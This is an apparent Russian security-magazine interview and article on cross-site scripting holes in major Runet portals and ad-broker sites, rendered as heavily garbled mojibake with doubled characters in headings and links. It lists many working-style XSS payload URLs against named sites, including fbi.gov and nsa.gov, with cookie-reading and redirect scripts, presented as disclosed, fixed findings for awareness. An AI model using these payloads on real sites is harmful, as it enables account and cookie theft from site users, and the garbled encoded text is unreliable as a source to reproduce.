À: Íå ëó÷øèì îáðàçîì. Ýòî ÿ çíàþ
íå ïîíàñëûøêå è íå èç íîâîñòåé ñåêü-
þðèòè-ñàéòîâ, à èç ñîáñòâåííîãî
îïûòà. Òàê êàê ðåãóëÿðíî íàõîæó óÿç-
âèìîñòè íà òàêèõ êðóïíûõ ñàéòàõ.
Ïðè÷åì SQL injection íà ïîäîáíûõ
ïðîåêòàõ ìíå íå ïîïàäàëèñü, à âîò
XSS � âåñüìà ÷àñòî.

ßíäåêñ:
xss ííà images.yandex.ru
http://websecurity.com.ua/3/;
xss ííà www.yandex.ru
http://websecurity.com.ua/36/;
xss â êêîäå ÿÿíäåêñ-ääèðåêò,
÷òî ïîäâåðãàþò XSS-àòàêàì ñàéòû
ïàðòíåðîâ http://websecurity.com.ua/398/.

Ðàìáëåð:
xss ííà adstat.rambler.ru
http://websecurity.com.ua/11/;
xss ííà www.rambler.ru
http://websecurity.com.ua/17/;
xss ííà lenta.ru
http://websecurity.com.ua/23/;
xss ííà horoscopes.rambler.ru
http://websecurity.com.ua/40/;
xss ííà lenta.ru
http://websecurity.com.ua/149/.

Mail.ru:
xss ííà drive.mail.ru
http://websecurity.com.ua/405/

Êðîìå ýòèõ ëèäåðîâ, äîâîäèëîñü íà-
õîäèòü óÿçâèìîñòè íà ìíîãèõ äðóãèõ
èçâåñòíûõ è ïîïóëÿðíûõ ðåñóðñàõ:
aport.ru, go.km.ru, cnews.ru, www.rbc.ru,
www.quote.ru, spylog.ru, íà ñàéòàõ ìíî-
ãèõ ðåêëàìíûõ áðîêåðîâ, 3dnews.ru
(è blog.3dnews.ru) è ìíîãèõ äðóãèõ.
È ýòî òîëüêî òå, î êîòîðûõ ÿ òàê èëè
èíà÷å óïîìÿíóë ó ñåáÿ íà ñàéòå.
Q: ÍÍåêîòîðûå èèäóò ïïðîñòûì ïïóòåì ��
ìàêñèìàëüíî ììàñêèðóþò ððàáîòó
äâèæêà, ääàáû ííå ïïåðåáèðàòü ââñå
âîçìîæíûå ââàðèàíòû. ÍÍå ââèäíî �� 
è ëëàäíî: ççëîóìûøëåííèê ääàæå ííå
óçíàåò, óóñïåøíî ëëè ïïðîøëà ààòàêà. 
Íî òòàê ëëè ýýòî ââ ääåéñòâèòåëüíîñòè?
À: Òàêîé âàðèàíò, êîíå÷íî, âîçìîæåí,
è ìàñêèðîâêà ÿâëÿåòñÿ îäíèì èç âà-
ðèàíòîâ çàùèòû. Åñëè èñïîëüçóåøü
êàêîé-íèáóäü îòêðûòûé äâèæîê, áå-
ðåøü ñåáå íîâûé ñêèí, óáèðàåøü âñå
óïîìèíàíèÿ î âåðñèè äâèæêà èëè äà-
æå îá åãî èìåíè, ïðè æåëàíèè ìåíÿ-
åøü ñòðóêòóðó êàòàëîãîâ (íåðåäêî

èìåííî îíà âûäàåò òåáÿ, êàê áû òû íå
«ïðÿòàë» äâèæîê). Èëè, êàê âàðèàíò,
ìåíÿåòñÿ ðàñøèðåíèå. Íàïðèìåð, íà
HTML, õîòÿ èñïîëüçóåòñÿ Perl èëè
PHP � ñ öåëüþ ââåñòè àòàêóþùåãî â
çàáëóæäåíèå.

Ïðàâäà, âñå ýòè ïðèåìû ìîãóò
îòïóãíóòü íîâè÷êà, íåîïûòíîãî õàêå-
ðà èëè ñêðèïò-êèääèñà, à ïðîôåññèî-
íàëà íå ïðîâåäåøü. È åñëè åñòü äû-
ðà, òî îí åå îáÿçàòåëüíî íàéäåò. Èëè
åñëè êàêèì-òî îáðàçîì óçíàåò, êàêîé
äâèæîê íà ñàìîì äåëå íà ñàéòå,
òî ñìîæåò ïðîñòûì ïåðåáîðîì óÿçâè-
ìîñòåé è ýêñïëîéòîâ âûÿñíèòü, êàêàÿ
âåðñèÿ, è ïîõàêàòü ñàéò. Èëè æå ïðî-
âåäåò èññëåäîâàíèå ñèñòåìû êàê
÷åðíîãî ÿùèêà è ñàìîñòîÿòåëüíî
íàéäåò óÿçâèìîñòü.

Òàê ÷òî ìàñêèðîâêà � ìàëîýô-
ôåêòèâíûé ñïîñîá. Èñêëþ÷åíèåì ÿâ-
ëÿåòñÿ ëèøü îòêëþ÷åíèå âûâîäà ñî-
îáùåíèé îá îøèáêàõ áàçû äàííûõ.
Â òàêîì ñëó÷àå ïðîâîäèòü àòàêó SQL
Injection ñëîæíåå, íî è ýòî íå ïðîáëå-
ìà äëÿ ïðîôè (âåäü åñòü æå Blind SQL
Injection). Îòêëþ÷åíèå îøèáîê ñïàñà-
åò îò SQL DB Structure Extraction
è â íåêîòîðûõ ñëó÷àÿõ îò XSS-óÿçâè-
ìîñòåé (êîãäà ÷åðåç âûâîä ñîîáùå-
íèÿ îá îøèáêå ïðîèçâîäÿò XSS-àòà-
êó, ÷òî âñòðå÷àåòñÿ â ðàçëè÷íûõ
äâèæêàõ).
Q: ÏÏðàâäà ëëè, ÷÷òî ññàéòû ííà fflash
èçáàâëåíû îîò ïïðîáëåì SSQL iinjection 
è XXSS? ÈÈëè ýýòî ììèô?
À: Ñàì ôëåø èëè ôëåø-ýëåìåíòû,
êîòîðûå èñïîëüçóþòñÿ íà ñàéòå, íå-
óÿçâèìû äëÿ SQL Injection è XSS. Íî â
ñëó÷àå èñïîëüçîâàíèÿ íà ñàéòå êà-
êèõ-ëèáî ñêðèïòîâ (íàïðèìåð, PHP-
ñêðèïòà äëÿ äîñòóïà ê ÁÄ) êëàññè÷å-
ñêèå óÿçâèìîñòè ìîãóò èìåòü ìåñòî.

Õîòÿ è ñ ôëåøåì íå âñå òàê
ãëàäêî. Âî ôëåøå èìååòñÿ âîçìîæ-
íîñòü (íåîáõîäèì ôëåø-ïëååð ñîîò-
âåòñòâóþùåé âåðñèè, íå ïðîïàò÷åí-
íûé) îòñûëàòü HTTP-çàïðîñ (www.se-
curitylab.ru/analytics/271169.php), ÷òî ïî-
çâîëÿåò ñîçäàòü çëîóìûøëåííóþ
ôëåøêó, êîòîðàÿ áóäåò ñîâåðøàòü
XSS-àòàêè íà ïîëüçîâàòåëåé, ïðîñ-
ìàòðèâàþùèõ åå â ñâîåì áðàóçåðå.
Íàïðèìåð, ìîæíî çàãðóçèòü ôëåøêó
â «ñîöèàëüíûå ñåòè» èëè ðàçìåñòèòü
åå íà ñàéòå, è êàêèì-òî îáðàçîì çà-
ìàíèòü òóäà ïîëüçîâàòåëåé. Èëè äà-
æå ðàçìåñòèòü ôëåø-áàííåð â áàí-
íåðíîé ñåòè èëè â ðåêëàìíîì áðîêå-
ðå, âêëþ÷èâ â íåãî çëîâðåäíûé êîä.
Òî åñòü àòàêîâàííûé ñàéò íå îáÿçà-

òåëüíî äîëæåí áûòü íà ôëåøå, äàæå
íàîáîðîò � îí âïîëíå ìîæåò áûòü
íà HTML (è äàæå íå ñîäåðæàòü íèêà-
êèõ ôëåø-ýëåìåíòîâ).

Ïîäðîáíåå êàñàòåëüíî ìåæñàé-
òîâîãî ñêðèïòèíãà â ÿçûêå Flash ìîæ-
íî ïðî÷èòàòü íà http://websecurity.com.-
ua/18/, à ïðî èíúåêöèè â HTTP-çàãî-
ëîâêå � íà http://websecurity.com.ua/373/.
Q: ÍÍàñêîëüêî ààêòóàëüíà òòåìà
óäàëåííîãî êêîíòðîëÿ ÷÷åðåç XXSS?
À: Âåñüìà. Òàê êàê ïðîâîäÿòñÿ äîïîë-
íèòåëüíûå èññëåäîâàíèÿ â ýòîé
îáëàñòè (http://websecurity.com.ua/361/),
ïîÿâëÿåòñÿ ðàçëè÷íûé èíñòðóìåíòà-
ðèé äëÿ ïîäîáíûõ çàäà÷ (www.security-
lab.ru/analytics/271931.php), íàïðèìåð
XSS Proxy, backweb, BeEF Exploitation
Framework è XSS Shell. Âñå ýòî ìîæåò
èñïîëüçîâàòüñÿ (è èñïîëüçóåòñÿ) äëÿ
ðàçëè÷íûõ, â îñíîâíîì òî÷å÷íûõ
àòàê, ñ öåëüþ õèùåíèÿ êîíôèäåí-
öèàëüíîé èíôîðìàöèè, ïàðîëåé
è äëÿ ïðîìûøëåííîãî øïèîíàæà.

Òàêæå óäàëåííûé êîíòðîëü ÷å-
ðåç XSS ìîæåò áûòü èñïîëüçîâàí äëÿ
áîëåå ãëîáàëüíûõ àòàê, íà÷èíàÿ îò
çàõâàòà ñàéòîâ (êîòîðûå ïðîñòî òàê
íå âçëîìàåøü) è çàêàí÷èâàÿ àòàêàìè
íà ëîêàëüíûå ìàøèíû è ëîêàëüíûå
ñåòè ïðåäïðèÿòèé (http://websecuri-
ty.com.ua/369/).
Q: ××òî ïïîñîâåòóåøü òòåì, 
êòî òòîëüêî ïïðîåêòèðóåò ññâîé 
áóäóùèé ððåñóðñ?
À: Óæå íà ýòàïå ïðîåêòèðîâàíèÿ óäå-
ëÿé âíèìàíèå áåçîïàñíîñòè. È ïèøè
êîððåêòíûé êîä. À äëÿ ýòîãî, êîíå÷-
íî, íóæåí îïûò è çíàíèÿ. ×èòàé èí-
ôîðìàöèþ ïî òåìå, íàïðèìåð ìîå ðó-
êîâîäñòâî ïî áåçîïàñíîñòè (http://web-
security.com.ua/security/), ïðåäíàçíà÷åí-
íîå äëÿ âåá-ðàçðàáîò÷èêîâ.

Ïðîâåðÿé ñâîè âåá-ñàéòû, âåá-
ïðèëîæåíèÿ è âåá-ñèñòåìû íà óÿçâè-
ìîñòè � ïðîâîäè àóäèòû áåçîïàñíî-
ñòè. Ïî âîçìîæíîñòè äåëàé ýòî íà íà-
÷àëüíîì ýòàïå. Íî è äëÿ óæå ñóùå-
ñòâóþùèõ ïðîåêòîâ ýòè æå ìåðîïðèÿ-
òèÿ íå ìåíåå àêòóàëüíû. È íå çàáû-
âàé ïîñëå âíåñåíèÿ èçìåíåíèé â âåá-
ïðèëîæåíèÿ ïðîâîäèòü ïîâòîðíûå
ïðîâåðêè.

Îñíîâíàÿ çàäà÷à � óâåëè÷åíèå
óðîâíÿ áåçîïàñíîñòè êàæäîãî ñàéòà
â îòäåëüíîñòè è, ñîîòâåòñòâåííî, èí-
òåðíåòà â öåëîì. Âåäü åñëè êàæäûé
áóäåò äóìàòü î áåçîïàñíîñòè åùå
íà ýòàïå ïðîåêòèðîâàíèÿ ñàéòà, òî è
ëîìàòü áóäåò íå÷åãî. Ïîêà æå äî ýòî-
ãî äàëåêî� 

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//112200//
ñòàòèñòèêà âåá-àòàê

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//112277//
õàêèíã ñàéòà ÷åðåç óÿçâèìîñòè â êîäå
âíåøíèõ ñèñòåì

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//447744//
õàêåðñêàÿ àêòèâíîñòü â uàíåòå â 2006 ãîäó

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//sseeccuurriittyy//
ðóêîâîäñòâî ïî áåçîïàñíîñòè

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//337788//
óÿçâèìîñòü íà www.iss.net

hhttttpp::////oonnlliinnee..xxssppiiddeerr..rruu
XSpider Online

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//sseeccuurriittyy-ppaacckk//
MustLive Security Pack

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//33//
Cross-Site Scripting íà ßíäåêñå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//3366//
íîâûå óÿçâèìîñòè íà ßíäåêñå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//339988//
óÿçâèìîñòè â Yandex-Direct

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//1111//
Cross-Site Scripting íà Ðàìáëåðå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//1177//
íîâàÿ óÿçâèìîñòü íà Ðàìáëåðå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//2233//
XSS íà lenta.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//4400//
íîâàÿ XSS-óÿçâèìîñòü íà Ðàìáëåðå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//114499//
óÿçâèìîñòü íà lenta.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//440055//
óÿçâèìîñòü íà drive.mail.ru

hhttttpp::////wwwwww..sseeccuurriittyyllaabb..rruu//aannaallyyttiiccss//227711116699..pphhpp
ïîääåëêà çàãîëîâêîâ HTTP-çàïðîñà 
ñ ïîìîùüþ Flash ActionScript

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//1188//
ìåæñàéòîâûé ñêðèïòèíã â Shockwave Flash

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//337733//
Flash plugin HTTP header injection

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//336611//
XSS äëÿ óäàëåííîãî êîíòðîëÿ

hhttttpp::////wwwwww..sseeccuurriittyyllaabb..rruu//aannaallyyttiiccss//227711993311..pphhpp
ïðîäâèíóòûé ìåæñàéòîâûé ñêðèïòèíã ñ 
óäàëåííûì êîíòðîëåì â ðåàëüíîì âðåìåíè

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//336699//
èñïîëüçîâàíèå óÿçâèìîñòåé íà ëîêàëüíûõ
ìàøèíàõ



Ðå÷ü èäåò î ðåêëàìíûõ èíòåðíåò-áðîêåðàõ. Ýòî îä-
íà èç íàèáîëåå äèíàìè÷íûõ êàòåãîðèé â ðåêëàìíîì
ñåêòîðå ðóíåòà (ïîìèìî áàííåðíûõ ñåòåé, ðåêëàì-
íûõ àãåíòñòâ è ÷àñòíûõ ðåêëàìíûõ ïîïîëçíîâåíèé).
Ñðåäè ôîðìàòîâ, ïîääåðæèâàåìûõ ðåêëàìíûìè
áðîêåðàìè, ìîæíî âûäåëèòü áàííåðíóþ ðåêëàìó
(ðàçëè÷íûõ ðàçìåðîâ, îáû÷íî ôîðìàòîâ gif è jpg),
ôëåø-ðåêëàìó (ôîðìàò swf) è òåêñòîâóþ (â òîì ÷èñ-
ëå è êîíòåêñòíóþ). Îïëàòà, ñîîòâåòñòâåííî, çà êëè-
êè, ïîêàçû è çà âðåìÿ ðàçìåùåíèÿ. Êàæäûé áðîêåð
èìååò ñâîè îñîáåííîñòè è ñâîè ïëþñû, ïðåäëàãàÿ
ðàçëè÷íûå óñëóãè äëÿ âåá-ìàñòåðîâ è ðåêëàìîäà-
òåëåé. ×åðåç áðîêåðîâ èíòåðíåò-ðåêëàìû åæåäíåâ-
íî ïðîõîäÿò äåíåæíûå ïîòîêè, è ýòî ìîãóò áûòü
âåñüìà ñîëèäíûå ñóììû.

Ïîäîáíàÿ ñèòóàöèÿ ïðèâëåêàåò ê ðåêëàìíûì
áðîêåðàì âíèìàíèå â òîì ÷èñëå è çëîóìûøëåííè-

êîâ. Ïðîàíàëèçèðóåì ñèòóàöèþ íà ðûíêå ðåêëàìíûõ
èíòåðíåò-áðîêåðîâ ðóíåòà. Â êîíòåêñòå áåçîïàñíîñ-
òè è, â ÷àñòíîñòè, Cross-Site Scripting óÿçâèìîñòåé.

XSS-óÿçâèìîñòè ìîãóò áûòü èñïîëüçîâàíû
ñ öåëüþ çàõâàòà ó÷åòíîé çàïèñè ïîëüçîâàòåëÿ, äëÿ
ïîëó÷åíèÿ êîíôèäåíöèàëüíîé èíôîðìàöèè è äå-
íåã, íàêîïëåííûõ íà ïîëüçîâàòåëüñêîì àêêàóíòå.

Íèæå ìû ïðèâåäåì ïðèìåðû íåêîòîðûõ áðî-
êåðîâ, íà ñàéòàõ êîòîðûõ èìåëè ìåñòî óÿçâèìîñòè
(äàííûé ñïèñîê íå ïîëîí, è íå ñòîèò ñ÷èòàòü, ÷òî ó
äðóãèõ èíòåðíåò-áðîêåðîâ òàêèõ ïðîáëåì íå áûâà-
åò). Âñå ïðèâåäåííûå ïðèìåðû, èñõîäÿ èç çäðàâî-
ãî ñìûñëà è ýòè÷åñêèõ ñîîáðàæåíèé, ñîäåðæàò

XSS-óÿçâèìîñòè, î êîòîðûõ ñàìè èíòåðíåò-áðîêå-
ðû çíàþò è êîòîðûå óæå èñïðàâëåíû. Ýòî ñäåëàíî
â öåëÿõ áåçîïàñíîñòè ñàìèõ áðîêåðîâ è èõ ó÷àñòíè-
êîâ. Òàêæå ñëåäóåò ïîíèìàòü, ÷òî ìû ðàòóåì çà áå-
çîïàñíîñòü è íàäååìñÿ, ÷òî ïðèìåðû ïîìîãóò âñåì
îñîçíàòü ñåðüåçíîñòü ñèòóàöèè è ïðîâåðèòü
ñîáñòâåííûå ïðîåêòû íà àíàëîãè÷íûå óÿçâèìîñòè.
Èñïîëüçîâàíèå æå ïðèìåðîâ XSS-óÿçâèìîñòåé
ãäå áû òî íè áûëî � íà ñîâåñòè (à, ñëåäîâàòåëüíî,
è îòâåòñòâåííîñòè) ÷èòàòåëÿ.

wwwwww..ccllxx..rruu.. XSS-óÿçâèìîñòè èìåëè ìåñòî, íî
àäìèíèñòðàòîðû ñäåëàëè îñíîâíîé óïîð íà ñîâåð-
øåíñòâîâàíèè ñèñòåìû àâòîðèçàöèè, ââåäÿ äî-
ïîëíèòåëüíîå îãðàíè÷åíèå âðåìåíè ñåññèè è ïðè-
âÿçêó ñåññèè ê IP-àäðåñó. Ýòî ïîçâîëèëî ïîâûñèòü
áåçîïàñíîñòü ñèñòåìû â öåëîì, ÷àñòè÷íî îãðàäèâ
åå îò ïîòåíöèàëüíûõ XSS. Íî 100% çàùèòû òàêîé
ïîäõîä íå äàåò, è ïåðèîäè÷åñêè ïðèõîäèòñÿ îòëàâ-
ëèâàòü è èñïðàâëÿòü íàéäåííûå óÿçâèìîñòè.

www.prospero.ru, wwww.procontext.ru, wwww.seo-
point.ru. Âñå òðè ïðîåêòà ïðèíàäëåæàò îäíèì è òåì
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æå ëþäÿì, ïðîñòî îðèåíòèðîâàíû íà ðàçíóþ öåëå-
âóþ àóäèòîðèþ. Ê ïðèìåðó, PROCONTEXT � ýòî
êîíòåêñòíàÿ ðåêëàìà, êîòîðàÿ ðàíåå áûëà äîñòóïíà
â ñàìîì PROSPERO, íî çàòåì åå èñêóññòâåííî âû-
äåëèëè â îòäåëüíûé ïðîåêò, ÷òîáû ðàçâÿçàòü ðóêè
îñíîâíîìó ïðîåêòó ïðè ñîâåðøåíñòâîâàíèè êîäà
è ôóíêöèîíàëüíîñòè.

Óÿçâèìîñòè â ýòèõ ñèñòåìàõ îáíàðóæèâàëèñü
íåîäíîêðàòíî, íî íàäî îòäàòü äîëæíîå îïåðàòèâ-
íîñòè àäìèíèñòðàòîðîâ, êîòîðûå äåëàëè ëþáûå
ïðîáëåìû äîñòîÿíèåì èñòîðèè, îïåðàòèâíî âíîñÿ
íåîáõîäèìûå èçìåíåíèÿ. Òàêæå îíè ñåðüåçíî ïîâû-
ñèëè áåçîïàñíîñòü, óñîâåðøåíñòâîâàâ ñèñòåìó àâ-
òîðèçàöèè, ââåäÿ äîïîëíèòåëüíûå îãðàíè÷åíèÿ ïî
âðåìåíè ñåññèè è ïðèâÿçêå ñåññèè ê IP-àäðåñó (àíà-
ëîãèÿ ñ CLX).

Ïðèâåäåì XSS-óÿçâèìîñòü, êîòîðàÿ èìåëà
ìåñòî íà ôîðóìàõ âñåõ òðåõ ïðîåêòîâ (äâèæîê îäèí
è òîò æå). Îíà çàòàèëàñü â ïàðàìåòðå search_words
äëÿ ïîèñêà ïî ôîðóìó:

http://www.prospero.ru/forum_search?

search=1&search_words=%27%3E%3Cscript%

3Ealert%28document.cookie%29%3C%

2Fscript%3E

http://procontext.ru/forum_search?

search=1&search_words=%27%3E%3Cscript%

3Ealert%28document.cookie%29%3C%

2Fscript%3E

http://seopoint.ru/forum_search?search=

1&search_words=%27%3E%3Cscript%3Ealert%

28document.cookie%29%3C%2Fscript%3E

www.mainlink.ru. Ïðèìåð ýêñïëóàòàöèè èìåâ-
øåé ìåñòî óÿçâèìîñòè:

http://mainlink.ru/find/?what=%3Cscript

%3Ealert(document.cookie)%3C/script%3E

www.setlinks.ru. Ïðèìåð ýêñïëóàòàöèè èìåâ-
øåé ìåñòî óÿçâèìîñòè � íà ñòðàíèöå
http://www.setl inks.ru/partner/editpage.html?id=xxxx
ïðè îòïðàâêå POST-çàïðîñà (â ïîëÿõ «Ðàçäåëè-
òåëü» è «Êëàññ ññûëîê»):

"><script>alert(document.cookie)</script>

www.adbroker.ru. Ïðèìåð ýêñïëóàòàöèè èìåâ-
øåé ìåñòî óÿçâèìîñòè:

http://adbroker.ru/user_partner.php

?action=adv_queries&uarq_order=4%22%3E%

3Cscript%3Ealert(document.cookie)%

3C/script%3E

http://adbroker.ru/get_code.php?scid=

2484&lid=1&css_class=%22%3E%3Cscript%

3Ealert(document.cookie)%3C/script%3E

www.affiliatenetwork.ru. Ïðèìåð ýêñïëóàòàöèè
èìåâøåé ìåñòî óÿçâèìîñòè:

http://www.affiliatenetwork.ru/

affiliates_new/viewpaid.php?kol_zap_str=

%22%3E%3Cscript%3Ealert(document.

cookie)%3C/script%3E

www.link.ru. Îäèí èç íåìíîãèõ èíòåðíåò-áðî-
êåðîâ, àäìèíèñòðàòîðû êîòîðîãî, ê ñîæàëåíèþ,

XSS íà www.fbi.gov

http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('XSS')

http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(document.cookie)

http://www.fbi.gov/cgi-bin/outside.cgi?http://websecurity.com.ua

XSS íà www.nsa.gov

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:

alert(%22XSS%22)%3E

alert(«XSS»), òîëüêî IE

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:

alert(document.cookie)%3E

alert(document.cookie), òîëüêî IE

http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:

document.location=%22http://websecurity.com.ua%22%3E

(1)

(2)



çàíèìàþòñÿ áåçîïàñíîñòüþ ïðîåêòà ñïóñòÿ ðóêà-
âà. Â ñèñòåìå äîñòàòî÷íî äîëãî ñóùåñòâîâàëè ðà-
áî÷èå XSS-óÿçâèìîñòè, î êîòîðûõ àäìèíèñòðàöèÿ
áûëà îïîâåùåíà.

ïðèìåð ýýêñïëóàòàöèè ýýòîé óóÿçâèìîñòè:
http://www.link.ru/?sid=%27%3E%3Cscript%

3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/adv.cgi?sid=%27%3E%3C

script%3Ealert(document.cookie)%3C/

script%3E

http://www.link.ru/reklama.cgi?sid=%27%

3E%3Cscript%3Ealert(document.cookie)%3C/

script%3E

http://www.link.ru/siteowner.cgi?sid=%

27%3E%3Cscript%3Ealert(document.

cookie)%3C/script%3E

http://www.link.ru/contact.cgi?sid=

%27%3E%3Cscript%3Ealert(document.

cookie)%3C/script%3E

http://www.link.ru/stats.cgi?sid=%27%3E%

3Cscript%3Ealert(document.cookie)%3C/

script%3E

http://www.link.ru/faq.cgi?sid=%27%3E%3C

script%3Ealert(document.cookie)%3C/

script%3E

http://www.link.ru/?sid=%27%3E%3Cscript%

3Edocument.location%3D'http://

websecurity.com.ua'%3C/script%3E

www.context.meta.ua. Ïðèìåð ýêñïëóàòàöèè
èìåâøåé ìåñòî óÿçâèìîñòè:

http://context.meta.ua/?mode=

phrase&phrase=%3Cscript%

3Ealert(document.cookie)%3C/script%3E

óÿçâèìîñòè ââ ïïàðòíåðñêîì êêîäå. Óïîìÿíóòûå
â ñèñòåìàõ êîíòåêñòíîé ðåêëàìû (procontext.ru è con-
text.meta.ua) XSS-óÿçâèìîñòè íàõîäÿòñÿ â èíòåðôåéñàõ
ñàìèõ ñèñòåì. Íî âîçìîæíû åùå è àòàêè íà ñàéòû
ó÷àñòíèêîâ äàííûõ ñèñòåì ÷åðåç óÿçâèìîñòè â ïàðò-
íåðñêîì êîäå,�åñëè ñèñòåìû ïðåäëàãàþò ðàçìåùàòü
ïàðòíåðñêèé êîä íà ñàéòå, îñîáåííî â ñëó÷àå èíòåãðà-
öèè ðåêëàìû ñ ëîêàëüíûì ïîèñêîì íà ñàéòå. (XSS-
óÿçâèìîñòè â êîäàõ ñèñòåì Äèðåêòßíäåêñ è Áåãóí).

www.begun.ru. Õîòÿ óÿçâèìîñòü áûëà â êîíòå-
êñòíîì êîäå Áåãóíà, îíà ñòàâèëà ïîä âîïðîñ áåçî-
ïàñíîñòü êîäà ñàéòîâ-ïàðòíåðîâ, â äàííîì ïðèìå-
ðå � ñàéòà Ðàìáëåðà:

http://www.rambler.ru/srch?words=%D2%E5%

F1%F2%22%3E%3Cscript%3Ealert(document.

cookie)%3C/script%3E

Ýòà óÿçâèìîñòü îòíîñèòñÿ ê òèïó XSS â DOM è ìî-
æåò áûòü îïàñíà äëÿ âñåõ ïîñåòèòåëåé ñàéòà.

http://direct.yandex.ru. Â Äèðåêòßíäåêñå èìå-
ëà ìåñòî XSS-óÿçâèìîñòü, ïðè÷åì êàê ñîáñòâåííàÿ
(â ñàìîé ñèñòåìå), òàê è óÿçâèìîñòü â êîäå, êîòîðûé
èñïîëüçóåòñÿ ñàéòàìè-ïàðòíåðàìè (íà ïðèìåðå
ñàéòà itnews.com.ua):

http://itnews.com.ua/s.cgi?page=2'%

3Balert(document.cookie)%3Ba='&q=

%F2%E5%F1%F2

http://itnews.com.ua/s.cgi?page=2'%

3Bdocument.location%3D'http://

websecurity.com.ua'%3Ba='&q=%F2%E5%F1%F2

Ýòà óÿçâèìîñòü òàê æå îòíîñèòñÿ ê òèïó XSS â DOM
è ìîæåò áûòü èñïîëüçîâàíà ïðîòèâ âñåõ ïîñåòèòå-
ëåé ñàéòà. Ñåé÷àñ âñå ýòè óÿçâèìîñòè óæå íåéòðà-
ëèçîâàíû.

çàêëþ÷åíèå. Ê ñîæàëåíèþ, è ñåé÷àñ ñèòóàöèÿ
ñ óÿçâèìîñòÿìè XSS íà ñàéòàõ íåêîòîðûõ èíòåðíåò-
áðîêåðîâ ñêëàäûâàåòñÿ íå ëó÷øèì îáðàçîì. À ñè-
äåòü íà «ïîðîõîâîé áî÷êå» è æäàòü, êîãäà ðâà-
íåò, � íå ñàìûé ëó÷øèé âûõîä. Íî ñ êàæäîé èñï-
ðàâëåííîé XSS äûðîé ñèòóàöèÿ óëó÷øàåòñÿ. Ïîýòî-
ìó ïðèçûâàåì àäìèíèñòðàòîðîâ ñåðüåçíåå îòíîñèò-
ñÿ ê ïðîáëåìå áåçîïàñíîñòè è ïðîâåðèòü ñâîè ïðî-
åêòû, êàê ìèíèìóì, íà íàëè÷èå îïèñàííûõ âûøå
óÿçâèìîñòåé.

hhttttpp::////eenn..wwiikkiippeeddiiaa..oorrgg//wwiikkii//CCrroossss__ssiittee__ssccrriippttiinngg
Ñross-Site Scripting

wwwwww..sseeccuurriittyyllaabb..rruu//aannaallyyttiiccss//227755008877..pphhpp
ìåæñàéòîâûé ñêðèïòèíã ÷åðåç DOM

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//112277//
õàêèíã ñàéòà ÷åðåç óÿçâèìîñòè â êîäå âíåøíèõ ñèñòåì

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//99//
æóðíàëû BugsWeek

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//9900//
óÿçâèìîñòü íà mainlink.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//110099//
óÿçâèìîñòü íà mainlink.ru

cchhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//113377//
óÿçâèìîñòü íà adbroker.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//225500//
óÿçâèìîñòü íà adbroker.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//332233//
óÿçâèìîñòü íà www.link.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//226600//
óÿçâèìîñòü íà www.link.ru

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//1177//
óÿçâèìîñòü íà Ðàìáëåðå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//339988//
óÿçâèìîñòè â Äèðåêòßíäåêñå

hhttttpp::////wweebbsseeccuurriittyy..ccoomm..uuaa//339977//
óÿçâèìîñòè íà itnews.com.ua
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ÂÈÄÛ XSS-ÀÒÀÊ

Cross-Site Scripting (òàêæå CSS è XSS)
óÿçâèìîñòè â êîíòåêñòå âåáà (âåá-ïðè-
ëîæåíèÿ è âåá-ñèñòåìû) � óÿçâèìîñòè
íà ñàéòàõ, êîòîðûå ìîãóò ïðèâåñòè
ê âûïîëíåíèþ çàäàííîãî íàïàäàþùèì
êîäà â êîíòåêñòå áðàóçåðà ïîëüçîâàòå-
ëÿ, àòàêîâàííîãî çëîóìûøëåííèêîì.
Äðóãèìè ñëîâàìè, ýòî óÿçâèìîñòü â âåá-
ïðèëîæåíèÿõ ñ íåêîððåêòíî ðàáîòàþ-
ùèìè ôèëüòðàìè âõîäÿùåé èíôîðìà-
öèè, êîòîðàÿ íå ïðîâåðÿåòñÿ äîëæíûì
îáðàçîì ïåðåä òåì, êàê âåðíóòü ðåçóëü-
òàò ïîëüçîâàòåëþ.

Ñðåäè âîçìîæíûõ àòàê íà ïîëüçîâà-
òåëåé ðåêëàìíûõ èíòåðíåò-áðîêåðîâ
ñ ïðèìåíåíèåì XSS ìîæíî âûäåëèòü
ñëåäóþùèå: ïàññèâíûé XSS, àêòèâíûé
XSS è XSS â DOM. Êàæäàÿ èìååò ñâîè
îñîáåííîñòè è ïîçâîëÿåò çëîóìûøëåí-
